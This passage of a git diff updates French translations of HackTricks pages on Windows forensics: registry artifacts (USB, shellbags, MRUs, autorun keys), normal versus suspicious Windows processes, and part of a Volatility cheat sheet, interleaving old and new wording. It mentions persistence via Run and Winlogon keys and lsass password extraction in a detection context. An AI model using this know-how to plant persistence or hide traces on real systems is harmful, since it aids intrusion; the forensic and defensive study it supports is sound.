0x17-3G) et catégorie (0-Public, 1-Privé/Maison, 2-Domaine/Travail) et dernières connexions +- **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** : Interfaces réseau +- **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`** : Première et dernière fois qu'une connexion réseau a été effectuée et connexions via VPN +- **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}`** (pour XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles` : Type de réseau (0x47-sans fil, 0x06-câble, 0x17-3G) et catégorie (0-Public, 1-Privé/Domicile, 2-Domaine/Travail) et dernières connexions ### Dossiers partagés -* **`System\ControlSet001\Services\lanmanserver\Shares\`** : Dossiers partagés et leurs configurations. Si **Client Side Caching** (CSCFLAGS) est activé, alors, une copie des fichiers partagés sera sauvegardée chez les clients et le serveur dans `C:\Windows\CSC` -* CSCFlag=0 -> Par défaut, l'utilisateur doit indiquer les fichiers qu'il souhaite mettre en cache -* CSCFlag=16 -> Mise en cache automatique des documents. "Tous les fichiers et programmes que les utilisateurs ouvrent à partir du dossier partagé sont automatiquement disponibles hors ligne" avec l'option "optimiser pour la performance" décochée. -* CSCFlag=32 -> Comme les options précédentes mais "optimiser pour la performance" est cochée -* CSCFlag=48 -> Le cache est désactivé. -* CSCFlag=2048 : Ce paramètre est uniquement sur Win 7 & 8 et est le paramètre par défaut jusqu'à ce que vous désactiviez le "Partage de fichiers simple" ou utilisiez l'option de partage "avancée". Il semble également être le paramètre par défaut pour le "Groupe résidentiel" -* CSCFlag=768 -> Ce paramètre a été vu uniquement sur des périphériques d'impression partagés. +- **`System\ControlSet001\Services\lanmanserver\Shares\`** : Dossiers partagés et leurs configurations. Si **la mise en cache côté client** (CSCFLAGS) est activée, une copie des fichiers partagés sera enregistrée dans les clients et le serveur dans `C:\Windows\CSC` +- CSCFlag=0 -> Par défaut, l'utilisateur doit indiquer les fichiers qu'il souhaite mettre en cache +- CSCFlag=16 -> Mise en cache automatique des documents. "Tous les fichiers et programmes ouverts à partir du dossier partagé sont automatiquement disponibles hors connexion" avec l'option "optimiser les performances" décochée. +- CSCFlag=32 -> Comme les options précédentes mais avec l'option "optimiser les performances" cochée +- CSCFlag=48 -> La mise en cache est désactivée. +- CSCFlag=2048 : Ce paramètre est uniquement sur Win 7 & 8 et est le paramètre par défaut jusqu'à ce que vous désactiviez le "Partage de fichiers simple" ou utilisiez l'option de partage "avancée". Il semble également être le paramètre par défaut pour le "Groupe résidentiel" +- CSCFlag=768 -> Ce paramètre n'a été vu que sur les périphériques d'impression partagés. ### Programmes de démarrage automatique -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` -* `Software\Microsoft\Windows\CurrentVersion\Runonce` -* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` -* `Software\Microsoft\Windows\CurrentVersion\Run` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` +- `Software\Microsoft\Windows\CurrentVersion\Runonce` +- `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` +- `Software\Microsoft\Windows\CurrentVersion\Run` ### Recherches dans l'Explorateur -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery` : Ce que l'utilisateur a recherché en utilisant l'explorateur/l'assistant. L'élément avec `MRU=0` est le dernier. +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery` : Ce que l'utilisateur a recherché en utilisant l'explorateur/assistant. L'élément avec `MRU=0` est le dernier. ### Chemins saisis -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths` : Chemins saisis dans l'explorateur (uniquement W10) +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths` : Chemins saisis dans l'explorateur (uniquement W10) ### Documents récents -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` : Documents récents ouverts par l'utilisateur -* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU` : Documents Office récents. Versions : - * 14.0 Office 2010 - * 12.0 Office 2007 - * 11.0 Office 2003 - * 10.0 Office X -* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU` : Documents Office récents. Versions : - * 15.0 office 2013 - * 16.0 Office 2016 +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` : Documents récemment ouverts par l'utilisateur +- `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU` : Documents Office récents. Versions : + - 14.0 Office 2010 + - 12.0 Office 2007 + - 11.0 Office 2003 + - 10.0 Office X +- `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU` : Documents Office récents. Versions : + - 15.0 Office 2013 + - 16.0 Office 2016 -### MRUs +### MRU -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU` -Indique le chemin d'où l'exécutable a été lancé +Indique le chemin à partir duquel l'exécutable a été lancé -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP) -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP) +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU` -Indique les fichiers ouverts à l'intérieur d'une fenêtre ouverte +Indique les fichiers ouverts dans une fenêtre ouverte ### Dernières commandes exécutées -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR` ### Clé User Assist -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` +- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` Le GUID est l'identifiant de l'application. Données enregistrées : -* Dernière heure d'exécution -* Compteur d'exécution -* Nom de l'application GUI (cela contient le chemin absolu et plus d'informations) -* Temps de focus et nom du focus +- Dernière heure d'exécution +- Nombre d'exécutions +- Nom de l'application GUI (contient le chemin absolu et plus d'informations) +- Temps de mise au premier plan et nom de mise au premier plan ## Shellbags -Lorsque vous ouvrez un répertoire, Windows enregistre des données sur la façon de visualiser le répertoire dans le registre. Ces entrées sont connues sous le nom de Shellbags. +Lorsque vous ouvrez un répertoire, Windows enregistre des données sur la manière de visualiser le répertoire dans le registre. Ces entrées sont connues sous le nom de Shellbags. Accès à l'Explorateur : -* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags` -* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU` +- `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags` +- `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU` Accès au Bureau : -* `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU` -* `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags` +- `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU` +- `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags` -Pour analyser les Shellbags, vous pouvez utiliser [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) et vous pourrez trouver le **temps MAC du dossier** ainsi que la **date de création et la date de modification du shellbag** qui sont liées à la **première et à la dernière fois** que le dossier a été accédé. +Pour analyser les Shellbags, vous pouvez utiliser [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) et vous pourrez trouver le **temps MAC du dossier** ainsi que la **date de création et de modification du shellbag** qui sont liées à la **première et à la dernière fois** où le dossier a été accédé. -Notez deux choses de l'image suivante : +Notez 2 choses à partir de l'image suivante : -1. Nous connaissons le **nom des dossiers du USB** qui a été inséré dans **E:** +1. Nous connaissons le **nom des dossiers de la clé USB** qui a été insérée dans **E:** 2. Nous savons quand le **shellbag a été créé et modifié** et quand le dossier a été créé et accédé ![](<../../../.gitbook/assets/image (475).png>) -## Informations USB +## Informations sur les clés USB -### Infos sur l'appareil +### Informations sur le périphérique -Le registre `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` surveille chaque appareil USB qui a été connecté au PC.\ +Le registre `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` surveille chaque périphérique USB connecté au PC.\ Dans ce registre, il est possible de trouver : -* Le nom du fabricant -* Le nom et la version du produit -* L'ID de classe de l'appareil -* Le nom du volume (dans les images suivantes, le nom du volume est la sous-clé en surbrillance) +- Le nom du fabricant +- Le nom et la version du produit +- L'ID de classe du périphérique +- Le nom du volume (dans les images suivantes, le nom du volume est la sous-clé surlignée) ![](<../../../.gitbook/assets/image (477).png>) @@ -159,48 +159,48 @@ Avec les informations précédentes, le registre `SOFTWARE\Microsoft\Windows Por ![](<../../../.gitbook/assets/image (480).png>) -### Utilisateur ayant utilisé l'appareil +### Utilisateur ayant utilisé le périphérique -Avec le **{GUID}** de l'appareil, il est maintenant possible de **vérifier toutes les ruches NTUDER.DAT de tous les utilisateurs**, en recherchant le GUID jusqu'à ce que vous le trouviez dans l'un d'eux (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`). +En ayant le **{GUID}** du périphérique, il est maintenant possible de **vérifier toutes les ruches NTUDER.DAT de tous les utilisateurs**, en recherchant le GUID jusqu'à ce que vous le trouviez dans l'un d'eux (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`). ![](<../../../.gitbook/assets/image (481).png>) ### Dernier montage -En vérifiant le registre `System\MoutedDevices`, il est possible de savoir **quel appareil a été le dernier monté**. Dans l'image suivante, vérifiez comment le dernier appareil monté dans `E:` est le Toshiba (en utilisant l'outil Registry Explorer). +En vérifiant le registre `System\MoutedDevices`, il est possible de découvrir **quel périphérique a été le dernier monté**. Dans l'image suivante, vérifiez comment le dernier périphérique monté en `E:` est celui de Toshiba (en utilisant l'outil Registry Explorer). ![](<../../../.gitbook/assets/image (483) (1) (1).png>) ### Numéro de série du volume -Dans `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, vous pouvez trouver le numéro de série du volume. **En connaissant le nom du volume et le numéro de série du volume, vous pouvez corréler les informations** à partir des fichiers LNK qui utilisent ces informations. +Dans `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, vous pouvez trouver le numéro de série du volume. **En connaissant le nom du volume et le numéro de série du volume, vous pouvez corréler les informations** des fichiers LNK qui utilisent ces informations. -Notez que lorsqu'un appareil USB est formaté : +Notez que lorsqu'un périphérique USB est formaté : -* Un nouveau nom de volume est créé -* Un nouveau numéro de série du volume est créé -* Le numéro de série physique est conservé +- Un nouveau nom de volume est créé +- Un nouveau numéro de série de volume est créé +- Le numéro de série physique est conservé ### Horodatages -Dans `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\`, vous pouvez trouver la première et la dernière fois que l'appareil a été connecté : +Dans `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\`, vous pouvez trouver la première et la dernière fois où le périphérique a été connecté : -* 0064 -- Première connexion -* 0066 -- Dernière connexion -* 0067 -- Déconnexion +- 0064 -- Première connexion +- 0066 -- Dernière connexion +- 0067 -- Déconnexion ![](<../../../.gitbook/assets/image (482).png>)
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index f27695f7a..31fa7fc89 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -1,7 +1,22 @@ +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
+ + ## smss.exe **Gestionnaire de session**.\ -La session 0 lance **csrss.exe** et **wininit.exe** (**services** **OS**) tandis que la session 1 lance **csrss.exe** et **winlogon.exe** (**session** **utilisateur**). Cependant, vous ne devriez voir **qu'un seul processus** de cette **application** sans enfants dans l'arborescence des processus. +La session 0 démarre **csrss.exe** et **wininit.exe** (**services OS**) tandis que la session 1 démarre **csrss.exe** et **winlogon.exe** (**session utilisateur**). Cependant, vous ne devriez voir **qu'un seul processus** de ce **binaire** sans enfants dans l'arborescence des processus. De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP sont en cours. @@ -9,31 +24,31 @@ De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP s ## csrss.exe **Processus de sous-système d'exécution client/serveur**.\ -Il gère les **processus** et les **threads**, rend l'API Windows disponible pour d'autres processus et **mappe les lettres de lecteur**, crée des **fichiers temporaires** et gère le **processus d'arrêt**. +Il gère les **processus** et les **threads**, rend l'**API Windows** disponible pour d'autres processus et **mappe les lettres de lecteur**, crée des **fichiers temporaires** et gère le **processus d'arrêt**. -Il y a un **processus en cours d'exécution dans la session 0 et un autre dans la session 1** (donc **2 processus** dans l'arborescence des processus). Un autre est créé **par nouvelle session**. +Il y en a un qui s'exécute dans la session 0 et un autre dans la session 1 (donc **2 processus** dans l'arborescence des processus). Un autre est créé **par nouvelle session**. ## winlogon.exe **Processus de connexion Windows**.\ -Il est responsable des **connexions/déconnexions** des utilisateurs. Il lance **logonui.exe** pour demander le nom d'utilisateur et le mot de passe, puis appelle **lsass.exe** pour les vérifier. +Il est responsable des **connexions**/**déconnexions** des utilisateurs. Il lance **logonui.exe** pour demander un nom d'utilisateur et un mot de passe, puis appelle **lsass.exe** pour les vérifier. Ensuite, il lance **userinit.exe** qui est spécifié dans **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** avec la clé **Userinit**. -De plus, le registre précédent devrait avoir **explorer.exe** dans la clé **Shell** ou il pourrait être utilisé comme une **méthode de persistance de malware**. +De plus, le registre précédent devrait avoir **explorer.exe** dans la clé **Shell** ou il pourrait être utilisé comme une **méthode de persistance de logiciel malveillant**. ## wininit.exe -**Processus d'initialisation Windows**. \ +**Processus d'initialisation Windows**.\ Il lance **services.exe**, **lsass.exe** et **lsm.exe** dans la session 0. Il ne devrait y avoir qu'un seul processus. ## userinit.exe **Application de connexion Userinit**.\ -Charge le **ntduser.dat dans HKCU** et initialise l'**environnement utilisateur** et exécute les **scripts de connexion** et les **GPO**. +Charge le **ntduser.dat dans HKCU** et initialise l'**environnement utilisateur** et exécute des **scripts de connexion** et des **GPO**. Il lance **explorer.exe**. @@ -41,23 +56,23 @@ Il lance **explorer.exe**. ## lsm.exe **Gestionnaire de session local**.\ -Il travaille avec smss.exe pour manipuler les sessions utilisateur : Connexion/Déconnexion, démarrage de la coquille, verrouillage/déverrouillage du bureau, etc. +Il travaille avec smss.exe pour manipuler les sessions utilisateur : Connexion/déconnexion, démarrage du shell, verrouillage/déverrouillage du bureau, etc. Après W7, lsm.exe a été transformé en un service (lsm.dll). -Il ne devrait y avoir qu'un seul processus dans W7 et à partir de là, un service exécutant la DLL. +Il ne devrait y avoir qu'un seul processus dans W7 et parmi eux un service exécutant le DLL. ## services.exe -**Gestionnaire de contrôle de service**.\ +**Gestionnaire de contrôle des services**.\ Il **charge** les **services** configurés en **démarrage automatique** et les **pilotes**. C'est le processus parent de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** et bien d'autres. -Les services sont définis dans `HKLM\SYSTEM\CurrentControlSet\Services` et ce processus maintient une base de données en mémoire des informations de service qui peuvent être interrogées par sc.exe. +Les services sont définis dans `HKLM\SYSTEM\CurrentControlSet\Services` et ce processus maintient une base de données en mémoire des informations sur les services qui peuvent être interrogées par sc.exe. -Notez comment **certains** **services** vont s'exécuter dans un **processus propre** et d'autres vont **partager un processus svchost.exe**. +Notez comment **certains** **services** vont s'exécuter dans un **processus dédié** et d'autres vont **partager un processus svchost.exe**. Il ne devrait y avoir qu'un seul processus. @@ -67,28 +82,28 @@ Il ne devrait y avoir qu'un seul processus. **Sous-système d'autorité de sécurité local**.\ Il est responsable de l'**authentification de l'utilisateur** et crée les **jetons de sécurité**. Il utilise des packages d'authentification situés dans `HKLM\System\CurrentControlSet\Control\Lsa`. -Il écrit dans le **journal d'événements de sécurité** et il ne devrait y avoir qu'un seul processus. +Il écrit dans le **journal des événements de sécurité** et il ne devrait y avoir qu'un seul processus. -Gardez à l'esprit que ce processus est fortement attaqué pour extraire les mots de passe. +Gardez à l'esprit que ce processus est fortement attaqué pour extraire des mots de passe. ## svchost.exe -**Processus d'hôte de service générique**.\ +**Processus hôte de service générique**.\ Il héberge plusieurs services DLL dans un processus partagé. -Généralement, vous constaterez que **svchost.exe** est lancé avec le drapeau `-k`. Cela lancera une requête au registre **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** où il y aura une clé avec l'argument mentionné dans -k qui contiendra les services à lancer dans le même processus. +Généralement, vous constaterez que **svchost.exe** est lancé avec le drapeau `-k`. Cela lancera une requête au registre **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** où il y aura une clé avec l'argument mentionné en -k qui contiendra les services à lancer dans le même processus. Par exemple : `-k UnistackSvcGroup` lancera : `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` Si le **drapeau `-s`** est également utilisé avec un argument, alors svchost est invité à **lancer uniquement le service spécifié** dans cet argument. -Il y aura plusieurs processus de `svchost.exe`. Si l'un d'entre eux **n'utilise pas le drapeau `-k`**, c'est très suspect. Si vous constatez que **services.exe n'est pas le parent**, c'est également très suspect. +Il y aura plusieurs processus de `svchost.exe`. Si l'un d'eux n'utilise **pas le drapeau `-k`**, c'est très suspect. Si vous constatez que **services.exe n'est pas le parent**, c'est également très suspect. ## taskhost.exe -Ce processus agit comme un hôte pour les processus exécutés à partir de DLL. Il charge également les services qui s'exécutent à partir de DLL. +Ce processus agit comme un hôte pour les processus s'exécutant à partir de DLL. Il charge également les services s'exécutant à partir de DLL. Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe. @@ -97,17 +112,19 @@ Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe. C'est le processus responsable du **bureau de l'utilisateur** et du lancement de fichiers via les extensions de fichier. -**Seul 1** processus devrait être lancé **par utilisateur connecté.** +**Seul 1** processus devrait être créé **par utilisateur connecté**. Cela est exécuté à partir de **userinit.exe** qui devrait être terminé, donc **aucun parent** ne devrait apparaître pour ce processus. -# Capture de processus malveillants +# Détection des processus malveillants -* Est-il en cours d'exécution à partir du chemin attendu ? (Aucune application Windows ne s'exécute à partir de l'emplacement temporaire) +* Est-il exécuté à partir du chemin attendu ? (Aucun binaire Windows ne s'exécute à partir de l'emplacement temporaire) * Communique-t-il avec des adresses IP étranges ? -* Vérifiez les signatures numériques (les artefacts Microsoft doivent être signés) +* Vérifiez les signatures numériques (les artefacts Microsoft devraient être signés) * Est-il orthographié correctement ? -* Fonctionne-t-il sous l'identifiant de sécurité attendu ? -* Le processus parent est-il celui attendu (s'il y en a un) ? +* S'exécute-t-il sous l'identifiant de sécurité attendu ? +* Le processus parent est-il celui attendu (le cas échéant) ? * Les processus enfants sont-ils ceux attendus ? (pas de cmd.exe, wscript.exe, powershell.exe..?) + + diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index 85b258623..1b1e729b1 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -1,14 +1,16 @@ -# Volatility - Fiche de triche +# Volatility - Feuille de triche
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -16,7 +18,7 @@
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} @@ -26,73 +28,17 @@ python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatil ``` ## Installation -### Volatility3 +### volatility3 ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` -### volatility2 +#### volatility2 {% tabs %} -{% tab title="Méthode1" %} - -#### Analyse de la mémoire - -- `volatility2 -f imageinfo` : Affiche les informations de l'image mémoire. -- `volatility2 -f kdbgscan` : Recherche le KDBG (Kernel Debugger Block) dans l'image mémoire. -- `volatility2 -f pslist` : Affiche la liste des processus en cours d'exécution. -- `volatility2 -f psscan` : Recherche les processus dans l'image mémoire. -- `volatility2 -f pstree` : Affiche l'arborescence des processus. -- `volatility2 -f psxview` : Affiche les processus cachés. -- `volatility2 -f dlllist -p ` : Affiche les DLL chargées par un processus. -- `volatility2 -f handles -p ` : Affiche les handles ouverts par un processus. -- `volatility2 -f filescan` : Recherche les fichiers ouverts dans l'image mémoire. -- `volatility2 -f netscan` : Recherche les connexions réseau dans l'image mémoire. -- `volatility2 -f connscan` : Recherche les connexions réseau dans l'image mémoire. -- `volatility2 -f cmdline` : Affiche les commandes exécutées par les processus. -- `volatility2 -f consoles` : Affiche les consoles ouvertes par les processus. -- `volatility2 -f hivelist` : Affiche la liste des hives de registre chargés dans l'image mémoire. -- `volatility2 -f printkey -K ` : Affiche les valeurs d'une clé de registre. -- `volatility2 -f malfind` : Recherche les malwares dans l'image mémoire. -- `volatility2 -f apihooks` : Affiche les hooks d'API dans l'image mémoire. -- `volatility2 -f idt` : Affiche la Interrupt Descriptor Table. -- `volatility2 -f gdt` : Affiche la Global Descriptor Table. -- `volatility2 -f ldrmodules` : Affiche les modules chargés dans l'image mémoire. -- `volatility2 -f modscan` : Recherche les modules dans l'image mémoire. -- `volatility2 -f svcscan` : Recherche les services dans l'image mémoire. -- `volatility2 -f driverirp` : Affiche les IRP (I/O Request Packets) des drivers. -- `volatility2 -f callbacks` : Affiche les callbacks enregistrés dans l'image mémoire. -- `volatility2 -f timers` : Affiche les timers enregistrés dans l'image mémoire. -- `volatility2 -f mutantscan` : Recherche les mutants dans l'image mémoire. -- `volatility2 -f atomscan` : Recherche les atomes dans l'image mémoire. -- `volatility2 -f deskscan` : Recherche les desktops dans l'image mémoire. -- `volatility2 -f privs` : Affiche les privilèges des processus. -- `volatility2 -f getsids` : Affiche les SIDs (Security Identifiers) des processus. -- `volatility2 -f envars` : Affiche les variables d'environnement des processus. -- `volatility2 -f iehistory` : Affiche l'historique de navigation Internet Explorer. -- `volatility2 -f chromehistory` : Affiche l'historique de navigation Google Chrome. -- `volatility2 -f firefoxhistory` : Affiche l'historique de navigation Mozilla Firefox. -- `volatility2 -f shellbags` : Affiche les ShellBags (dossiers ouverts récemment). -- `volatility2 -f shimcache` : Affiche le cache de compatibilité des applications. -- `volatility2 -f userassist` : Affiche les entrées UserAssist (programmes exécutés récemment). -- `volatility2 -f printd` : Affiche les travaux d'impression. -- `volatility2 -f svcmod` : Affiche les modules des services. -- `volatility2 -f sessions` : Affiche les sessions utilisateur. -- `volatility2 -f clipboard` : Affiche le contenu 